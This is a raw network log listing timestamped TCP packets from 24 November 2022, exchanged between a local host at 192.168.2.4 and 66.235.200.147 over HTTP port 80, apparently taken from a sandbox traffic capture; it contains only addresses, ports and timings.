Nov 24, 2022 13:27:50.248832941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248855114 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248878956 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248879910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248914003 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248925924 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.248931885 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.248969078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249034882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249041080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249061108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249084949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249105930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249135017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249135971 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249162912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249175072 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249190092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249217033 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249218941 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249243021 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249263048 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249272108 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249295950 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249320030 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249325037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249349117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249375105 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249375105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249401093 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249427080 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249435902 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249459982 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249485016 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249744892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249805927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249808073 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249866962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249927044 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.249937057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.249973059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250015020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250020027 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250044107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250066042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250091076 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250094891 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250121117 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250144005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250148058 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250173092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250193119 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250200987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250224113 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250250101 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250250101 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250277996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250303030 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250320911 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250350952 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250377893 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250384092 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250413895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250437021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250447035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250474930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250504017 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250516891 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250536919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250560999 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250570059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250674009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250761032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250797987 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250848055 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250855923 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250896931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250935078 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.250957966 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.250968933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251005888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251023054 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251028061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251050949 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251070976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251077890 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251094103 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251116037 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251126051 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251138926 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251161098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251172066 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251194954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251208067 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251218081 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251239061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251260042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251269102 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251282930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251306057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251312971 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251327991 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251351118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251359940 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251372099 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251393080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251404047 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251415014 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251446009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251626968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251668930 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251679897 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251692057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251737118 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251749992 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251759052 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251796961 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251818895 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251818895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251864910 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251873970 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251888990 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251933098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251946926 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.251955032 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251977921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.251998901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252002001 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252021074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252043009 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252043962 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252065897 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252088070 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252093077 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252110004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252130985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252137899 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252152920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252173901 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252178907 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252197027 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252218962 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252222061 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252242088 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252264023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252266884 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252319098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252585888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252629042 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252650976 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252687931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252691984 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252713919 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252737045 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252747059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252798080 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252803087 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252837896 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252860069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252890110 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252893925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252917051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252938986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252944946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.252962112 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.252984047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253000975 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.253005028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253027916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253040075 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.253051043 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253072977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253073931 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.253094912 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253115892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253118038 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.253139973 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253160954 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253165960 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.253182888 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253205061 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253211021 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.253228903 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.253256083 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.256902933 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.257102013 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.266521931 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266587019 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266638041 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.266669035 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266736984 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.266751051 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266825914 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266845942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266865015 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266885042 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.266902924 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266918898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.266926050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266944885 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266963959 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266983986 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.266985893 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267004013 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267021894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267035961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267041922 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267060995 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267079115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267097950 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267108917 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267117023 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267129898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267138004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267158031 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267164946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267178059 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267198086 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267216921 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267232895 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267235994 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267257929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267277956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267285109 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267318010 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267349005 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267539024 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267606020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267643929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267661095 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267664909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267723083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267726898 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267756939 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267787933 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267807961 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267818928 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267838001 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267857075 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267874002 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267877102 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267898083 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267921925 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267929077 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267944098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267963886 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267968893 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.267985106 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.267993927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268004894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268023968 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268032074 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268043995 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268062115 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268070936 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268080950 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268100977 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268120050 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268138885 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268155098 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268160105 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268179893 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268198967 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268232107 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268304110 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268465996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268511057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268524885 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268541098 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268584967 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268589020 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268618107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268647909 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268676043 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268687963 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268718958 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268734932 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268738985 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268760920 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268780947 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268795967 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268800020 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268820047 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268838882 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268847942 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268857956 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268877029 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268886089 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268897057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268915892 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268927097 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268939972 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268955946 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.268961906 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268981934 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.268992901 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269004107 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269022942 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269036055 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269042969 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269062996 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269093037 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269135952 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269438028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269479036 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269519091 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269571066 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269613028 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269665003 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269682884 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269737005 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269762039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269784927 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269794941 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269820929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269845009 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269854069 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269880056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269906044 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269912004 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269938946 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269965887 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.269970894 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.269998074 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270021915 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270031929 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270057917 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270076990 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270091057 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270117044 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270139933 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270148039 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270174026 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270203114 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270205975 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270232916 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270253897 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270266056 CET	80	49701	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:50.270312071 CET	49701	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:50.270415068 CET	80	49701	66.235.200.147	192.168.2.4
